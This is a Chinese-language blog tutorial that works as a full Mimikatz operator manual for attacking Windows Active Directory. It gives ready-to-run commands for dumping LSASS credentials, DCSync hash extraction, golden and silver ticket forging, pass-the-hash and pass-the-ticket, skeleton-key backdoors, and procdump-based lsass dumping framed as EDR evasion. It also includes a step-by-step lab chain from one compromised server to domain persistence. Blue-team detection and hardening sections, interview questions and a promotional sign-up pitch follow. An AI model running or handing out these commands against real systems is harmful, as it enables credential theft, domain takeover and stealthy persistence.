☰
Mimikatz 完整使用手册|抓取凭证、票据、黄金票据制作与踩坑总结
2026/10/14 6:56:20 网站建设 项目流程

🔒免责声明:本文全部技术内容仅限授权渗透测试、红蓝对抗、安全学习研究使用。未经目标系统书面授权,禁止在生产 Windows、域环境执行内存读取、凭证抓取、票据伪造、哈希传递等操作,未授权访问计算机系统属于违法行为。全部命令演示均在自建隔离靶场完成,请勿直接复制到业务环境执行。

目录

    • 1. Mimikatz 基础介绍、环境与权限前置条件
      • 1.1 版本选择
      • 1.2 运行权限硬性要求
    • 2. privilege 权限模块,SeDebugPrivilege 调试权限详解
    • 3. sekurlsa 模块:LSASS 内存抓取凭证(明文、NTLM、AES 密钥、票据)
      • 3.1 sekurlsa::logonpasswords 经典抓取登录会话凭证
      • 3.2 sekurlsa::ekeys 专门提取 Kerberos 加密密钥
      • 3.3 sekurlsa::tickets 内存 Kerberos 票据操作
      • 3.4 sekurlsa::credman 读取凭证管理器保存的凭证
      • 3.5 sekurlsa::wdigest 单独读取 wdigest 明文
    • 4. lsadump 模块:SAM、缓存凭证、DCSync 域哈希导出
      • 4.1 lsadump::sam 读取本地 SAM 数据库,导出本机所有本地账号 NTLM 哈希
      • 4.2 lsadump::cache 读取域缓存凭证
      • 4.3 lsadump::lsa /patch 读取 LSA 内存,读取 krbtgt 等账号哈希(域控本机执行)
      • 4.4 lsadump::dcsync 大名鼎鼎 DCSync 域复制攻击(域管理员权限)
    • 5. kerberos 模块:票据导出、票据注入、黄金票据、白银票据完整实战
      • 5.1 kerberos::ptt 票据传递 Pass‑the‑Ticket,注入 kirbi 票据
      • 5.2 kerberos::purge 清空当前会话全部 Kerberos 票据
      • 5.3 kerberos::golden 黄金票据 Golden Ticket
      • 5.4 kerberos::silver 白银票据 Silver Ticket
      • 黄金票据与白银票据核心对比表格
    • 6. 哈希传递 PTH、票据传递 PTT 完整操作流程
      • 6.1 Pass‑the‑Hash 哈希传递 PTH(Mimikatz 实现)
      • 6.2 Pass‑the‑Ticket 票据传递 PTT 流程完整链路
    • 7. 离线分析:procdump 导出 lsass.dmp,Mimikatz 离线解析 dump 文件
      • 7.1 procdump 导出 lsass.dmp(微软 Sysinternals 工具,官方签名,免杀效果好)
    • 8. 其他高频实用模块:vault、dpapi、misc 骨架钥匙
      • 8.1 vault::cred
      • 8.2 dpapi 模块,解密 dpapi 加密数据,浏览器密码等
      • 8.3 misc::skeleton 骨架钥匙攻击(域控本机执行)
    • 9. 完整靶场实战链路:从本机抓取凭证到制作黄金票据维持域权限
    • 10. Mimikatz 高频报错、踩坑大全
      • 问题 1:privilege::debug 返回 ERROR 20
      • 问题 2:sekurlsa::logonpasswords 执行完成,输出为空,看不到任何凭证
      • 问题 3:kerberos::ptt 票据注入成功 klist 可以看到票据,但是访问网络资源拒绝访问
      • 问题 4:DCSync 执行失败返回拒绝访问
      • 问题 5:黄金票据制作完成注入成功依旧无法访问域资源
      • 问题 6:sekurlsa::pth 哈希传递之后,依旧访问失败
    • 11. Mimikatz VS Rubeus,两大 Kerberos 工具能力对比
    • 12. 蓝队视角:Mimikatz 行为检测、日志狩猎、系统加固防御
      • 12.1 Windows 安全事件日志狩猎重点事件 ID
      • 12.2 系统层面加固手段
      • 12.3 运维安全建议
    • 13. Mimikatz 面试高频考点整理
    • 14. 全文总结
      • 一、网络安全(黑客)学习路线
      • 二、网络安全教程视频
      • 三、网络安全CTF实战案例
      • 四、网络安全面试题

摘要
Mimikatz 是 Benjamin Delpy 开发的经典 Windows 后渗透工具,内网域渗透几乎绕不开它。核心能力是读取 LSASS 安全子系统内存,抓取内存中留存的明文密码、NTLM 哈希、AES 密钥、Kerberos 票据;实现哈希传递 PTH、票据传递 PTT、DCSync 域数据同步、黄金票据、白银票据伪造等高危攻击。

很多安全学习者只会死记sekurlsa::logonpasswords一条命令,不理解权限前提,遇到 Credential Guard、RunAsPPL 防护直接抓不出凭证;制作黄金票据频繁报错,分不清黄金票据与白银票据差异;混淆 kirbi 票据格式;对大量实战坑点一无所知。本文完整梳理 Mimikatz 环境准备、权限模块、sekurlsa 内存凭证抓取、lsadump 凭证导出、kerberos 票据模块、黄金白银票据完整制作、哈希传递、票据传递、离线 dmp 文件分析、高频踩坑排错、Mimikatz 与 Rubeus 工具对比、蓝队检测防御、面试高频考点,形成完整可落地使用手册。

MITRE ATT&CK 映射:T1003.001 LSASS 内存凭证转储,T1003.002 SAM 文件获取,T1003.003 NTDS 域数据库,T1550.002 哈希传递 PTH,T1550.003 票据传递 PTT,T1558.001 黄金票据,T1558.002 白银票据,T1557.001 DCSync 域复制攻击。

1. Mimikatz 基础介绍、环境与权限前置条件

Mimikatz 由 Benjamin Delpy 开发,C 语言编写,直接调用 Windows 原生未公开 API,专门针对 Windows 安全子系统 LSA/LSASS 进行操作。

核心原理:Windows LSASS 进程内存中会缓存当前系统登录用户各类凭证:明文密码(WDigest 开启时)、NTLM Hash、Kerberos AES/RC4 加密密钥、TGT/TGS Kerberos 票据,Mimikatz 拿到调试权限后读取这块内存数据,提取各类凭证信息。

1.1 版本选择

  1. mimikatz.exe:原生 exe 程序,分 32 位 / 64 位,系统位数必须和程序位数严格匹配。64 位 Windows 运行 32 位 mimikatz 会抓取不到完整凭证,大量新手踩坑。
  2. Invoke‑Mimikatz.ps1:PowerShell 内存加载版本,不落地 exe 文件,C2 框架常用。

注意:网络上随意下载编译好的 mimikatz 存在被植入后门风险,建议从 github 官方源码本地编译。

1.2 运行权限硬性要求

  1. 抓取 LSASS 内存凭证:必须管理员权限,并且启用 SeDebugPrivilege 调试权限,最好 SYSTEM 权限运行;普通用户直接运行抓取内存返回空数据。
  2. DCSync 导出域全部哈希:需要域控制器上域管理员权限。
  3. Credential Guard / RunAsPPL (LSA 保护) 开启情况下,即使 SYSTEM 权限,Mimikatz 也无法直接 dump LSASS 内存凭证。

重要概念 SeDebugPrivilege:默认管理员账户拥有该权限,但是默认不启用;这个权限允许进程读取其他进程内存,访问 LSASS,mimikatz 第一条命令几乎永远是privilege::debug。

2. privilege 权限模块,SeDebugPrivilege 调试权限详解

privilege 模块用于查看、启用系统权限,最核心命令privilege::debug。

#查看当前进程所有权限 privilege::list #开启SeDebugPrivilege调试权限,最常用 privilege::debug

执行成功输出:Privilege '20' OK;
如果输出错误ERROR 20,Not all privileges referenced are assigned to the caller,代表当前账号没有管理员权限,不具备 SeDebugPrivilege 权限,无法读取 LSASS 内存,后续所有内存 dump 命令全部失效。

坑点:即使你是管理员,如果 UAC 过滤,普通管理员 cmd,SeDebugPrivilege 权限不会生效,需要以管理员身份运行终端。

3. sekurlsa 模块:LSASS 内存抓取凭证(明文、NTLM、AES 密钥、票据)

sekurlsa 是 Mimikatz 使用频率最高的模块,专门读取 LSASS 进程内存,所有命令前提:管理员权限 + privilege::debug 成功。

3.1 sekurlsa::logonpasswords 经典抓取登录会话凭证

privilege::debug sekurlsa::logonpasswords

输出结果会分 MSV、WDigest、Kerberos、CredMan 多个部分。

  • MSV 部分:用户 NTLM 哈希,PTH 哈希传递直接使用;
  • WDigest 部分:如果系统开启 WDigest,这里会输出明文密码;Win10 + 默认关闭 WDigest,很难抓到明文;
  • Kerberos 部分:输出用户的 AES256、AES128、RC4 加密密钥,Pass‑the‑Key 密钥传递攻击使用;
  • CredMan:凭证管理器缓存保存的账号密码。

现实环境:Windows10 1709 之后,WDigest 默认关闭,绝大多数场景拿不到明文密码,只能拿到 NTLM Hash、AES 密钥,不要以为运行这条命令一定能拿到明文。

3.2 sekurlsa::ekeys 专门提取 Kerberos 加密密钥

只输出 AES128、AES256、RC4 密钥,适合 Pass‑the‑Key 攻击,输出简洁,过滤大量无关信息:

privilege::debug sekurlsa::ekeys

3.3 sekurlsa::tickets 内存 Kerberos 票据操作

导出本机 LSASS 内存中所有 kirbi 格式 Kerberos 票据(TGT/TGS),用于票据传递 PTT 攻击,和 Rubeus dump 功能对应。

privilege::debug #列出内存全部票据 sekurlsa::tickets #导出全部票据到本地磁盘 *.kirbi文件 sekurlsa::tickets /export

执行之后当前目录生成大量[LUID]_xxx.kirbi票据文件,kirbi 是 Windows 原生票据格式,可以直接 ptt 注入,也可以使用 ticketConverter 转换成 ccache 给 Impacket 使用。

3.4 sekurlsa::credman 读取凭证管理器保存的凭证

读取 Windows Credential Manager 里面保存的 RDP、共享、网页保存凭证:

sekurlsa::credman

3.5 sekurlsa::wdigest 单独读取 wdigest 明文

sekurlsa::wdigest

Win10/Server2019 默认关闭 wdigest,返回空;老系统 Server2008 容易抓到明文。

重大防护提醒:当机器开启Credential Guard 或者 RunAsPPL(LSA 保护),所有 sekurlsa 内存读取命令返回空,工具不会报错,只是没有任何凭证输出,很多新手误以为工具 bug,实际是系统安全防护拦截了内存访问。

4. lsadump 模块:SAM、缓存凭证、DCSync 域哈希导出

lsadump 模块不需要读取 LSASS 进程内存,读取注册表、SAM 数据库、AD 复制协议,部分功能普通管理员即可执行。

4.1 lsadump::sam 读取本地 SAM 数据库,导出本机所有本地账号 NTLM 哈希

读取注册表 HKLM/SAM,导出机器本地账号哈希,不需要读取 lsass 内存。

lsadump::sam

拿到的就是本机所有本地账号哈希,用于本地账号哈希传递。

4.2 lsadump::cache 读取域缓存凭证

读取机器保存的域登录缓存密码哈希,机器离线的时候也可以登录域账号。

lsadump::cache

4.3 lsadump::lsa /patch 读取 LSA 内存,读取 krbtgt 等账号哈希(域控本机执行)

域控本机执行,读取 LSA,拿到 krbtgt 账号 NTLM 哈希,制作黄金票据必备 krbtgt 哈希来源。

privilege::debug lsadump::lsa /patch

4.4 lsadump::dcsync 大名鼎鼎 DCSync 域复制攻击(域管理员权限)

DCSync 利用 AD 域复制 DRS 协议,不需要在域控本机执行,域内任意一台机器,只要账号拥有域复制权限,就可以远程拉取域控账号哈希,不需要登陆域控主机。可以单独导出 krbtgt 账号哈希,制作黄金票据。

#导出域内全部用户哈希 lsadump::dcsync /domain:corp.com /all /csv #只导出krbtgt账号哈希,黄金票据必备 lsadump::dcsync /domain:corp.com /user:krbtgt

DCSync 攻击行为域控会产生事件 ID4662 日志,蓝队重点狩猎该行为,是域渗透高危特征日志。

注意:DCSync 不是漏洞,是 AD 本身设计的域复制功能,攻击者拿到高权限账号滥用该协议。

5. kerberos 模块:票据导出、票据注入、黄金票据、白银票据完整实战

kerberos 模块专门处理 kirbi 票据,生成伪造黄金、白银票据,票据注入内存。

5.1 kerberos::ptt 票据传递 Pass‑the‑Ticket,注入 kirbi 票据

将磁盘上 kirbi 票据文件注入当前进程会话内存,注入完成,当前 cmd/powershell 会话就拥有票据对应的身份权限。

kerberos::ptt "0‑00000000‑administrator@krbtgt‑CORP.COM.kirbi"

坑:ptt 注入票据只对当前 mimikatz 所在会话生效,新开 cmd 不会继承票据,很多人注入成功新开窗口访问失败。可以使用 klist 命令查看当前会话票据。

5.2 kerberos::purge 清空当前会话全部 Kerberos 票据

清理内存残留票据痕迹,红蓝对抗结束清理痕迹:

kerberos::purge

5.3 kerberos::golden 黄金票据 Golden Ticket

黄金票据原理:使用 krbtgt 账号哈希,本地伪造 TGT 票据(票据授予票据);不需要和域控 KDC 交互,完全本地生成;伪造票据可以冒充域内任意用户,哪怕该用户已经被删除;获得域内几乎全部访问权限,属于域持久化后门手段。

前置条件:①获取域 SID;②拿到 krbtgt 账号 NTLM 哈希。

参数说明:

  • /domain:域名corp.com
  • /sid:域 SID,例如 S‑1‑5‑21‑3213123‑45435‑76786
  • /krbtgt:krbtgt 账号 NTLM 哈希
  • /user:想要伪造的用户名,可以随便写,不一定真实存在
  • /ptt:生成票据之后直接注入内存,不用保存 kirbi 文件
  • /ticket:保存输出 kirbi 票据文件

实战完整命令:

kerberos::golden /domain:corp.com /sid:S‑1‑5‑21‑12345678‑87654321‑11223344 /krbtgt:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /user:Administrator /ptt

执行成功直接注入当前会话,注入后直接访问\\dc01.corp.com\c$测试是否生效。

重点坑:黄金票据本地伪造,不会向域控发送请求,域控不会产生 4768 TGT 请求日志,隐蔽性强;现代域控开启 PAC 签名校验后,旧版本黄金票据直接失效。黄金票据默认生命周期非常长,可长达 10 年,远超正常 TGT10 小时有效期。

5.4 kerberos::silver 白银票据 Silver Ticket

白银票据伪造 TGS 服务票据,不是 TGT;需要目标机器的机器账号哈希;只能访问指定的一个 SPN 服务(cifs、ldap、http),不能随便访问其他服务资源。同样本地生成,不与 KDC 交互。

示例伪造访问域控 cifs 服务白银票据:

kerberos::silver /domain:corp.com /sid:S‑1‑5‑21‑12345678‑87654321‑11223344 /target:dc01.corp.com /service:cifs /rc4:DC01$机器账号哈希 /user:Administrator /ptt

关键点:/service 参数 SPN 必须写正确;白银票据只能访问该 service 对应的服务,不能拿完整域 TGT 权限。

黄金票据与白银票据核心对比表格

项目黄金票据 Golden Ticket白银票据 Silver Ticket
伪造票据类型伪造 TGT 票据伪造 TGS 服务票据
需要的哈希krbtgt 账号哈希目标服务 / 机器账号哈希
是否与 KDC 通信完全本地生成,无交互完全本地生成,无交互
权限范围域内全部服务资源仅访问指定 SPN 服务
域控日志不会产生 Kerberos 请求日志不会产生 Kerberos 请求日志
防御影响PAC 校验会导致失效PAC 校验会导致失效

6. 哈希传递 PTH、票据传递 PTT 完整操作流程

6.1 Pass‑the‑Hash 哈希传递 PTH(Mimikatz 实现)

拿到用户 NTLM 哈希,不需要明文密码,直接在本地注入凭证,模拟该账号身份访问内网资源。

privilege::debug sekurlsa::pth /user:administrator /domain:corp.com /ntlm:58a478135a93ac3bf058a5ea0e8fdb71

执行成功会弹出一个新 cmd 窗口,这个新窗口拥有该账号的身份凭证;直接在这个新 cmd 访问域资源。

坑:sekurlsa::pth 会创建新进程,原来 mimikatz 窗口没有权限,必须用弹出的新 cmd。UAC 远程限制会影响非 RID‑500 本地管理员 PTH 效果。

6.2 Pass‑the‑Ticket 票据传递 PTT 流程完整链路

  1. 在被控机器执行sekurlsa::tickets /export导出内存 kirbi 票据;
  2. 将 kirbi 拷贝到另一台 Windows 机器;
  3. 新机器 mimikatz 执行kerberos::ptt xxx.kirbi注入票据;
  4. 当前会话就拥有票据对应的账号权限,访问 SMB、LDAP 域资源。

kirbi(Windows)和 ccache(Linux Impacket)互相转换使用 ticketConverter.py 工具。

7. 离线分析:procdump 导出 lsass.dmp,Mimikatz 离线解析 dump 文件

很多环境无法直接运行 mimikatz,使用微软官方工具 procdump 安全导出 lsass 进程内存 dmp 转储文件,把 dmp 文件拿到别的机器,mimikatz 离线分析 dump 抓取凭证,不需要在靶机运行 mimikatz 二进制,规避 EDR 检测。

7.1 procdump 导出 lsass.dmp(微软 Sysinternals 工具,官方签名,免杀效果好)

#64位系统导出lsass完整内存 procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

把 lsass.dmp 拷贝到分析机,分析机上运行 mimikatz 离线解析 dump:

privilege::debug sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

注意:分析机操作系统大版本尽量和 dump 来源机器一致,否则解析容易失败,拿不到凭证。
注意:如果 dump 来源机器开启 Credential Guard,离线 dump 也无法提取凭证。

8. 其他高频实用模块:vault、dpapi、misc 骨架钥匙

8.1 vault::cred

读取 Windows vault 保管库保存的凭证,保存 RDP、共享密码。

vault::cred

8.2 dpapi 模块,解密 dpapi 加密数据,浏览器密码等

dpapi::chrome

8.3 misc::skeleton 骨架钥匙攻击(域控本机执行)

骨架钥匙:向域控 lsass 内存注入补丁,域内所有账号可以使用通用主密码登录;内存后门,重启域控后门消失。Credential Guard 开启直接失效。

misc::skeleton

OPSEC 风险极高,会修改 LSASS 内存,现代 EDR 会直接告警,实战尽量少使用。

9. 完整靶场实战链路:从本机抓取凭证到制作黄金票据维持域权限

靶场环境:corp.com域,域控dc01.corp.com;已经攻陷一台域内服务器,拿到该服务器 SYSTEM 权限。

步骤 1:管理员权限启动 mimikatz,开启调试权限

privilege::debug

步骤 2:抓取本机内存凭证,拿到登录到此服务器的域管理员 NTLM 哈希

sekurlsa::logonpasswords

步骤 3:利用拿到的域管理员凭证,执行 DCSync 远程导出 krbtgt 账号哈希,获取域 SID

lsadump::dcsync /domain:corp.com /user:krbtgt

步骤 4:使用 krbtgt 哈希,本地伪造黄金票据,直接 ptt 注入当前会话

kerberos::golden /domain:corp.com /sid:S‑1‑5‑21‑xxxxxx /krbtgt:krbtgt_hash /user:Administrator /ptt

步骤 5:测试访问域控共享,验证黄金票据权限

dir \\dc01.corp.com\c$

步骤 6:渗透结束,清理内存票据痕迹

kerberos::purge

整个流程,拿到 krbtgt 哈希之后,攻击者就获得域持久后门,哪怕管理员修改所有域账号密码,只要 krbtgt 哈希不变,黄金票据依旧生效;防御上域安全事件之后必须修改 krbtgt 密码两次。

10. Mimikatz 高频报错、踩坑大全

问题 1:privilege::debug 返回 ERROR 20

原因:没有管理员权限,当前进程没有 SeDebugPrivilege 权限;解决方案:右键以管理员身份运行 cmd/mimikatz。

问题 2:sekurlsa::logonpasswords 执行完成,输出为空,看不到任何凭证

排查清单:

  1. mimikatz 位数与操作系统不匹配,64 位系统跑 32 位 mimikatz;
  2. 目标机器开启Credential Guard 或者 RunAsPPL LSA 保护,LSASS 被虚拟化保护,禁止外部读取内存;
  3. privilege::debug 没有执行成功;
  4. 使用了 lsass.dmp 离线 dump,dump 版本和分析机系统版本不一致。

问题 3:kerberos::ptt 票据注入成功 klist 可以看到票据,但是访问网络资源拒绝访问

  1. 票据已经过期;
  2. 票据注入仅当前 mimikatz 会话生效,新开 cmd 窗口不会继承票据;
  3. 黄金 / 白银票据遇到 PAC 签名校验,伪造票据被 KDC 拒绝;
  4. 机器时间和域控时间偏差超过 5 分钟,Kerberos 严格校验时间。

问题 4:DCSync 执行失败返回拒绝访问

当前账号没有域复制权限,普通域用户不能执行 DCSync,需要域管理员权限。

问题 5:黄金票据制作完成注入成功依旧无法访问域资源

  1. krbtgt 哈希复制错误;krbtgt 哈希更新之后旧黄金票据失效;
  2. 域 SID 参数写错;
  3. 域控开启 PAC 校验注册表项,伪造 TGT 被拒绝;
  4. 本地系统时间和域控时间差距过大。

问题 6:sekurlsa::pth 哈希传递之后,依旧访问失败

sekurlsa::pth 会生成全新弹出的 cmd 窗口,不要继续在旧 mimikatz 窗口操作;UAC 远程限制拦截非 RID500 本地管理员远程访问。

11. Mimikatz VS Rubeus,两大 Kerberos 工具能力对比

内网经常同时看到 Mimikatz 和 Rubeus,很多学习者混淆两者定位。

MimikatzRubeus(GhostPack)
C 语言开发,直接打开 LSASS 进程读取内存;部分 EDR 监控打开 LSASS 进程行为C# 开发,大量调用 Windows SSPI 原生接口,很多功能不需要直接读取 LSASS 进程内存,规避部分检测
sekurlsa 抓取内存凭证;kerberos 模块做票据、黄金白银票据支持 asktgt/asktgs 申请票据、monitor 监控票据、S4U 约束委派滥用、kerberoast/asreproast 攻击
kirbi 票据导出注入;支持 DCSync、sam、cache 读取没有 DCSync 能力,没有 SAM 导出能力
适合 dump 内存凭证、离线 dmp 分析、pth 哈希传递现代红队优先用于 Kerberos 协议全链路攻击,委派攻击场景更强大

实战建议:Mimikatz 擅长抓取本机内存各类凭证、离线 dmp 解析;Rubeus 更擅长 Kerberos 协议交互、约束委派攻击;两者经常配合使用。

12. 蓝队视角:Mimikatz 行为检测、日志狩猎、系统加固防御

Mimikatz 本身没有固定特征字符串,防护重点从行为、系统防护、日志审计入手。

12.1 Windows 安全事件日志狩猎重点事件 ID

  1. 4662:AD 对象复制操作日志,DCSync 攻击核心特征,非域控账号发起域复制请求需要告警;
  2. 4656/4663:进程打开访问 lsass.exe 进程对象,代表程序尝试读取 LSASS 内存,mimikatz 执行 sekurlsa 模块会触发;
  3. Sysmon 事件 ID10:进程访问 lsass.exe 进程,GrantedAccess 包含 0x1000 (VM_READ),内存读取行为;
  4. 4624 登录事件,配合短时间大量 SMB 访问,哈希传递票据传递攻击行为。

12.2 系统层面加固手段

  1. 开启 Credential Guard(Windows10/Server2016 + 企业版):虚拟化隔离 LSASS,从根源阻止 Mimikatz 读取内存凭证,防御 dump 内存凭证攻击;
  2. 开启 RunAsPPL LSA 保护,LSASS 作为受保护轻量进程,阻止未签名程序读取内存;
  3. 禁用 WDigest,避免内存留存明文密码;
  4. 域安全事件发生后,krbtgt 账号密码必须修改两次;第一次作废旧票据,第二次彻底清除历史密钥;
  5. 域管理员账号不要登录普通业务工作站,减少内存中高价值凭证暴露;
  6. 开启 PAC 签名校验,防御旧版黄金票据伪造攻击。

12.3 运维安全建议

  1. 限制普通账号 AD 域复制权限,只有域控机器账号拥有复制权限;
  2. EDR 监控 lsass.exe 进程被其他进程打开读取内存的行为;
  3. 不要直接运行网上来历不明 mimikatz 编译版本。

13. Mimikatz 面试高频考点整理

  1. Mimikatz sekurlsa::logonpasswords 命令作用,需要什么权限?
    读取 LSASS 内存,抓取当前登录会话明文密码、NTLM 哈希、AES 密钥;需要管理员权限,并且开启 SeDebugPrivilege 调试权限;开启 Credential Guard 会抓取为空。Win10 默认 WDigest 关闭,很难抓到明文密码。
  2. privilege::debug 返回 ERROR20 代表什么?
    当前进程没有 SeDebugPrivilege 权限,没有管理员权限,无法读取 LSASS 内存。
  3. DCSync 攻击原理,需要什么权限,产生什么日志?
    滥用 AD 域 DRS 复制协议,不需要登录域控,远程导出域账号哈希;需要域复制权限(域管理员);域控产生 4662 事件日志。
  4. 黄金票据和白银票据区别?
    黄金票据伪造 TGT,需要 krbtgt 哈希,拥有域全部权限;白银票据伪造 TGS,需要目标机器账号哈希,仅能访问指定 SPN 服务;两者均本地生成,不与 KDC 通信,PAC 校验开启会导致伪造票据失效。
  5. sekurlsa::pth 哈希传递注意点?
    执行后弹出全新 cmd 窗口,凭证仅在新进程生效;UAC 远程限制会拦截非 RID‑500 本地管理员。
  6. kirbi 票据是什么格式,和 ccache 区别?
    kirbi 是 Windows 原生票据格式,Mimikatz/Rubeus 输出;ccache 是 Linux Impacket 使用票据格式;使用 ticketConverter.py 互相转换。
  7. ptt 票据注入为什么新开 cmd 窗口不生效?
    kerberos::ptt 票据注入只对当前进程会话生效,新进程不会继承内存票据。
  8. 什么是 Credential Guard,对 Mimikatz 有什么影响?
    基于虚拟化安全 VBS 隔离 LSASS 进程,即使 SYSTEM 权限,Mimikatz 也无法 dump 内存凭证,是防御凭证 dump 重要防护手段。
  9. procdump 离线 dump lsass 流程,优点是什么?
    procdump 导出 lsass.dmp,拷贝到分析机器 mimikatz 加载 minidump 离线解析;procdump 是微软官方签名工具,规避 EDR 对 mimikatz 二进制拦截。
  10. Mimikatz 与 Rubeus 的选型差异?
    Mimikatz 适合抓取本机内存凭证、离线 dmp、DCSync;Rubeus 更偏向 Kerberos 协议交互、S4U 约束委派、kerberoast/asreproast 攻击。

14. 全文总结

Mimikatz 是内网渗透经典工具,核心能力来源于读取 Windows LSASS 安全子系统内存,提取各类身份凭证。

  1. privilege::debug 开启 SeDebugPrivilege 调试权限是绝大多数内存操作的前置;没有管理员权限一切内存 dump 全部失效。
  2. sekurlsa 模块负责读取 LSASS 内存,拿到 NTLM 哈希、AES 密钥、kerberos kirbi 票据;现代 Windows 环境很难抓取明文密码;Credential Guard/RunAsPPL 防护会直接阻止内存 dump。
  3. lsadump 模块实现 SAM 本地哈希、域缓存凭证、DCSync 域复制导出 krbtgt 哈希,DCSync 是获取 krbtgt 哈希最重要手段。
  4. kerberos 模块完成票据导出、ptt 注入、黄金票据、白银票据伪造;票据注入仅当前会话生效;伪造票据受 PAC 签名校验限制。
  5. PTH 哈希传递、PTT 票据传递是内网横向移动核心手段;可以结合 procdump 做离线 dump,规避目标主机直接落地 mimikatz 二进制。
  6. 黄金票据拿到 krbtgt 哈希实现域持久后门;安全事件处置必须修改 krbtgt 密码两次。
  7. 实战中 Mimikatz 与 Rubeus 互相配合;Mimikatz 侧重凭证抓取,Rubeus 侧重 Kerberos 协议交互与委派攻击。
  8. 防御重点:开启 Credential Guard、RunAsPPL,监控 lsass 进程内存读取行为,审计 DCSync 对应的 4662AD 复制事件;高权限账号不要登录普通工作站,减少凭证暴露面。

再次声明:本文全部技术内容仅限授权红蓝对抗安全学习,严禁未授权在业务 Windows 与 AD 域执行攻击操作。


以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询